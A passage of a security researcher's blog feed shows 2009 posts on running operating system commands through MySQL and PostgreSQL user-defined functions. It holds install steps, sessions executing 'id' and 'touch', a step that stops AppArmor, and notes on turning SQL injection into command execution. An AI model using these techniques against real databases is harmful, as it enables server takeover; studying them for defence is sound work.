/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:trebuchet ms;"&gt;I adapted the &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html"&gt;MySQL UDF for command execution&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; to PostgreSQL and created a &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.postgresql.org/docs/8.3/static/xfunc-c.html"&gt;C-Language Funcion&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; called &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/postgresqludfsys/"&gt;lib_postgresqludf_sys&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;: for the moment it works on any PostgreSQL server version on Linux systems.&lt;br /&gt;It implements two functions:&lt;/span&gt;&lt;br /&gt;&lt;ul style="font-family: trebuchet ms;"&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;sys_eval&lt;/span&gt; - executes an arbitrary command, and returns its output.&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;sys_exec&lt;/span&gt; - executes an arbitrary command, and returns its exit code.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:trebuchet ms;"&gt;The source code can be found on sqlmap subversion repository &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/postgresqludfsys/lib_postgresqludf_sys/"&gt;here&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; and a package with the source code is available &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz"&gt;here&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Usage example:&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;$ wget --no-check-certificate https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz&lt;br /&gt;$ tar xfz lib_postgresqludf_sys_0.0.1.tar.gz&lt;br /&gt;$ cd lib_postgresqludf_sys&lt;br /&gt;$ sudo ./install.sh&lt;br /&gt;Compiling the PostgreSQL UDF&lt;br /&gt;gcc -Wall -I/usr/include/postgresql/8.3/server -I. -shared lib_postgresqludf_sys.c -o /usr/lib/lib_postgresqludf_sys.so&lt;br /&gt;PostgreSQL UDF compiled successfully&lt;br /&gt;&lt;br /&gt;Please provide your PostgreSQL 'postgres' user's password&lt;br /&gt;Password for user postgres:&lt;br /&gt;PostgreSQL UDF installed successfully&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;$ psql -h 127.0.0.1 -p 5432 -U postgres -q template1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;Password for user postgres: &lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;template1=# SELECT sys_eval('pwd');&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;      sys_eval           &lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;------------------------------&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; /var/lib/postgresql/8.3/main&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;br /&gt;(1 row)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;br /&gt;template1=# SELECT sys_exec('touch /tmp/test_postgresql');&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;sys_exec &lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;----------&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;   &lt;span style="font-weight: bold;"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;(1 row)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;template1=# \q&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;$ ls -l /tmp/test&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;_postgresql&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="font-weight: bold;"&gt;-rw------- 1 postgres postgres 0 2009-01-22 20:07 /tmp/test&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;_postgresql&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The main advantage over MySQL is that, at the time of writing this post, Ubuntu (probably other distributions too) &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://bernardodamele.blogspot.com/2009/01/mysql-udf-and-apparmor.html"&gt;has &lt;span style="font-weight: bold;"&gt;no&lt;/span&gt; AppArmor profile file&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; in its default &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://packages.ubuntu.com/intrepid/postgresql-8.3"&gt;PostgreSQL server package&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; so UDF that call C functions like &lt;span style="font-family:courier new;"&gt;system()&lt;/span&gt; or &lt;span style="font-family:courier new;"&gt;popen()&lt;/span&gt; are not denied.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Another notable difference is that common web applications' dynamic languages &lt;/span&gt;&lt;span style="font-weight: bold;font-family:trebuchet ms;" &gt;allow&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; stacked queries (multiple statements) when the back-end database management system is PostgreSQL which make it easier for an attacker to take advantage of a SQL injection to execute arbitrary operating system commands.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:trebuchet ms;" &gt;UPDATE&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; on January 25, 2009: &lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;&lt;a href="http://www.packetstormsecurity.org/"&gt;PacketStormSecurity.org&lt;/a&gt; and &lt;a href="http://milw0rm.com/"&gt;milw0rm.com&lt;/a&gt; mirrored it &lt;a href="http://packetstormsecurity.org/libraries/lib_postgresqludf_sys_0.0.1.tar.gz"&gt;here&lt;/a&gt; and &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;a href="http://milw0rm.com/sploits/2009-lib_postgresqludf_sys_0.0.1.tar.gz"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-5018865548696830169?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/ueRNdRw89kM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/5018865548696830169/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=5018865548696830169" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/5018865548696830169?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/5018865548696830169?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/ueRNdRw89kM/command-execution-with-postgresql-udf.html" title="Command execution with a PostgreSQL UDF" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEEHQXs4fSp7ImA9WxVRF0k.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-3349292213510068013</id><published>2009-01-19T23:21:00.000+01:00</published><updated>2009-01-23T22:37:10.535+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-23T22:37:10.535+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mysql" /><category scheme="http://www.blogger.com/atom/ns#" term="apparmor" /><category scheme="http://www.blogger.com/atom/ns#" term="udf" /><title>MySQL UDF and AppArmor</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;From Wikipedia:&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="font-style: italic; font-family: trebuchet ms;"&gt;&lt;a href="http://en.wikipedia.org/wiki/AppArmor"&gt;AppArmor&lt;/a&gt; allows the system administrator to associate with each program a security profile which restricts the capabilities of that program. It supplements the traditional Unix &lt;a href="http://en.wikipedia.org/wiki/Discretionary_access_control" title="Discretionary access control"&gt;discretionary access control&lt;/a&gt; (DAC) model by providing &lt;a href="http://en.wikipedia.org/wiki/Mandatory_access_control" title="Mandatory access control"&gt;mandatory access control&lt;/a&gt; (MAC).&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;By default AppArmor is running out-of-box on &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.ubuntu.com/"&gt;Ubuntu&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;, &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.opensuse.org/"&gt;openSUSE&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;, &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.mandriva.com/"&gt;Mandriva&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; and a few other Linux distributions.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Ubuntu offers it as a package since &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://packages.ubuntu.com/feisty/apparmor"&gt;Feisty&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; release, and runs it by default since &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://packages.ubuntu.com/gutsy/apparmor"&gt;Gutsy&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; release.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Since Ubuntu &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://packages.ubuntu.com/hardy/i386/mysql-server-5.0/filelist"&gt;Hardy&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; the MySQL 5.0 server package contains also an AppArmor profile file (&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;/etc/apparmor.d/usr.sbin.mysqld&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;) which limits MySQL server functionalities, like calling an &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html"&gt;UDF to execute commands&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The file is owned by &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;root&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; and has &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;644&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; permissions by default so only having root privileges on the box it is possible to write (i.e. with &lt;/span&gt;&lt;a style="font-family: courier new;" href="http://dev.mysql.com/doc/refman/5.0/en/select.html"&gt;INTO OUTFILE&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; clause in a SQL &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;SELECT&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; statement) on it in order to add a rule that allows command executions from an UDF.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Example:&lt;/span&gt;&lt;br /&gt;&lt;blockquote  style="font-family:courier new;"&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;$ sudo apparmor_status&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;[...]&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;1 processes have profiles defined.&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;0 processes are in enforce mode :&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;0 processes are in complain mode.&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;1 processes are unconfined but have a profile defined.&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;/usr/sbin/mysqld (5128)&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;$ mysql -u root -p mysql&lt;/span&gt; &lt;span style="color: rgb(102, 0, 0);"&gt;Enter password:&lt;br /&gt;[...]&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;mysql&gt; SELECT sys_eval('id');&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;+----------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;| sys_eval('id') |&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+----------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;||&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+----------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;1 row in set (0.12 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;mysql&gt; select sys_exec('id');&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+----------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;| sys_exec('id') |&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+----------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;| &lt;span style="font-weight: bold;"&gt; 32512&lt;/span&gt; |&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+----------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;1 row in set (0.01 sec)&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;mysql&gt; exit&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;Bye&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;$ sudo /etc/init.d/apparmor stop&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;Unloading AppArmor profiles : done.&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;$ sudo apparmor_status&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;[...]&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;0 processes have profiles defined.&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;0 processes are in enforce mode :&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;0 processes are in complain mode.&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;0 processes are unconfined but have a profile defined.&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;$ mysql -u root -p mysql&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;Enter password:&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0);"&gt;&lt;br /&gt;[...]&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;mysql&gt; select sys_eval('id');&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+--------------------------------------------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;| sys_eval('id')   |&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+--------------------------------------------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;| &lt;span style="font-weight: bold;"&gt;uid=118(mysql) gid=128(mysql) groups=128(mysql)&lt;/span&gt; |&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+--------------------------------------------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;1 row in set (0.02 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;mysql&gt; select sys_exec('id');&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+----------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;| sys_exec('id') |&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+----------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;|  &lt;span style="font-weight: bold;"&gt;0&lt;/span&gt; |&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;+----------------+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;1 row in set (0.10 sec)&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;I am brainstorming with a friend on how to bypass AppArmor and we have come out with a couple of ideas so far.. And you? Feel free to get in touch with me in case you've any idea or technique to do that.&lt;/span&gt;&lt;br /&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-3349292213510068013?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/ncup1V6R7kk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/3349292213510068013/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=3349292213510068013" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/3349292213510068013?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/3349292213510068013?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/ncup1V6R7kk/mysql-udf-and-apparmor.html" title="MySQL UDF and AppArmor" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/01/mysql-udf-and-apparmor.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YGRX07cSp7ImA9WxVRGEU.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-7197850756019759587</id><published>2009-01-16T23:47:00.012+01:00</published><updated>2009-01-25T11:58:44.309+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-25T11:58:44.309+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mysql" /><category scheme="http://www.blogger.com/atom/ns#" term="udf" /><title>Command execution with a MySQL UDF</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;Modern database management systems are powerful applications: they provide several instruments to interact with the underlying operating system.&lt;br /&gt;&lt;br /&gt;On MySQL it is possible to &lt;a href="http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html"&gt;create&lt;/a&gt; a &lt;a href="http://dev.mysql.com/doc/refman/5.0/en/adding-udf.html"&gt;User-Defined Function&lt;/a&gt; to execute commands on the underlying operating system. &lt;a href="http://www.0xdeadbeef.info/"&gt;Marco Ivaldi&lt;/a&gt; demonstrated that some years ago. His &lt;a style="font-family: courier new;" href="http://www.0xdeadbeef.info/exploits/raptor_udf2.c"&gt;raptor_udf2.c&lt;/a&gt; works well, but it has two limitations:&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;It is not &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;MySQL 5.0+ &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;compliant because it does not follow the new guidelines to create a proper UDF.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;It calls C function &lt;span style="font-family:courier new;"&gt;system()&lt;/span&gt; to execute the command and returns always integer &lt;span style="font-family:courier new;"&gt;0&lt;span style="font-family:trebuchet ms;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:trebuchet ms;"&gt;These limitations make the UDF almost useless &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;on recent MySQL server installations&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; if the database administrator wants to get the exit status of the command as UDF output or the command standard output itself.&lt;/span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;&lt;br /&gt;&lt;br /&gt;I recently &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;came across an open repository of &lt;/span&gt;&lt;a href="http://www.mysqludf.org/"&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;MySQL User-Defined Functions&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt; maintained by &lt;/span&gt;&lt;a href="http://rpbouman.blogspot.com/"&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;Roland Bouman&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt; and other developers. One of their codes kept my attention: &lt;/span&gt;&lt;a href="http://www.mysqludf.org/lib_mysqludf_sys/index.php"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;lib_mysqludf_sys&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt; (version 0.0.2) which implements three different functions to interact with the underlying environement:&lt;/span&gt;&lt;br /&gt;&lt;ul style="font-family: trebuchet ms;"&gt;&lt;li&gt;&lt;a style="" href="http://www.mysqludf.org/lib_mysqludf_sys/index.php#sys_exec"&gt;&lt;code&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;sys_exec&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: executes an arbitrary command, and can thus be used to launch an external application.&lt;/li&gt;&lt;li&gt;&lt;a style="" href="http://www.mysqludf.org/lib_mysqludf_sys/index.php#sys_get"&gt;&lt;code&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;sys_get&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: gets the value of an environment variable.&lt;/li&gt;&lt;li&gt;&lt;a style="" href="http://www.mysqludf.org/lib_mysqludf_sys/index.php#sys_set"&gt;&lt;code&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;sys_set&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: create an environment variable, or update the value of an existing environment variable.&lt;/li&gt;&lt;/ul&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;The first function can be used to execute operating system commands and has two advantages over raptor's UDF:&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;It is MySQL &lt;span style="font-weight: bold;"&gt;5.0+&lt;/span&gt; compliant and it compiles on both Linux as a &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Shared_object"&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;shared object&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt; and on Windows as a &lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Dynamic-link_library"&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;dynamic-link library&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;It returns the exit status of the executed command.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;However, none of these two functions return the command standard output so I took some time to patch this last source code adding a &lt;/span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;sys_eval()&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt; UDF to return the standard output of the command if it success, &lt;/span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt; otherwise.&lt;br /&gt;&lt;br /&gt;The patched source code can be found &lt;/span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;on sqlmap subversion repository &lt;/span&gt;&lt;a href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/"&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;here&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;and a single patch file for the original &lt;/span&gt;&lt;a href="http://www.mysqludf.org/lib_mysqludf_sys/index.php"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;lib_mysqludf_sy&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;s&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt; version 0.0.2 is available &lt;/span&gt;&lt;a href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch"&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;here&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:'trebuchet ms';"&gt;.&lt;br /&gt;&lt;br /&gt;Usage example:&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;$ wget --no-check-certificate https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;lib_mysqludf_sys_0.0.3.tar.gz&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;br /&gt;$ tar xfz lib_mysqludf_sys_0.0.3.tar.gz&lt;br /&gt;$ cd lib_mysqludf_sys_0.0.3&lt;br /&gt;$ sudo ./install.sh&lt;br /&gt;Compiling the MySQL UDF&lt;br /&gt;gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o /usr/lib/lib_mysqludf_sys.so&lt;br /&gt;MySQL UDF compiled successfully&lt;br /&gt;&lt;br /&gt;Please provide your MySQL root password&lt;br /&gt;Enter password:&lt;br /&gt;MySQL UDF installed successfully&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;$ mysql -u root -p mysql&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;Enter password:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;[...]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;mysql&gt; SELECT sys_eval('id');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 